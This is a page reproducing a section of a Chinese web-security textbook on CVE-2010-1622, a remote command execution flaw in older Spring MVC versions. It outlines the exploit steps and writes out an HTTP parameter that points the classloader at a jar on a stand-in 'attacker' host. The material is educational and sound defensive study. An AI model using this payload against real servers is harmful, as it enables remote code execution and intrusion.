频道栏目
读书频道 > 安全 > 白帽子讲Web安全
12.7.3 Spring MVC命令执行漏洞
2012-08-17 22:19:43     我来说两句
收藏   我要投稿

本文所属图书 > 白帽子讲Web安全

在互联网时代,数据安全与个人隐私受到了前所未有的挑战,各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据?本书将带你走进Web安全的世界,让你了解Web安全的方方面面。黑客不再变得神秘,攻击技术原...  立即去当当网订购
2010年6月,公布了Spring框架一个远程执行命令漏洞,CVE编号是CVE-2010-1622。漏洞影响范围如下:
 
SpringSource Spring Framework 3.0.0~3.0.2
 
SpringSource Spring Framework 2.5.0~2.5.7
 
由于Spring框架允许使用客户端所提供的数据来更新对象属性,而这一机制允许攻击者修改class.classloader加载对象的类加载器的属性,这可能导致执行任意命令。例如,攻击者可以将类加载器所使用的URL修改到受控的位置。
 
(1)创建attack.jar并可通过HTTP URL使用。这个jar必须包含以下内容:
 
META-INF/spring-form.tld,定义Spring表单标签并指定实现为标签文件而不是类;
 
META-INF/tags/中的标签文件,包含标签定义(任意Java代码)。
 
(2)通过以下HTTP参数向表单控制器提交HTTP请求:
 
class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
这会使用攻击者的URL覆盖WebappClassLoader的repositoryURLs属性的第0个元素。
 
(3)之后org.apache.jasper.compiler.TldLocationsCache.scanJars()会使用WebappClassLoader的URL解析标签库,会对TLD中所指定的所有标签文件解析攻击者所控制的jar。
 
这个漏洞将直接危害到使用Spring MVC框架的网站,而大多数程序员可能并不会注意到这个问题。
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力  
上一篇:12.7.2 Struts 2的问题补丁
下一篇:12.7.4 Django命令执行漏洞
相关文章
图文推荐
排行
热门
最新书评
特别推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站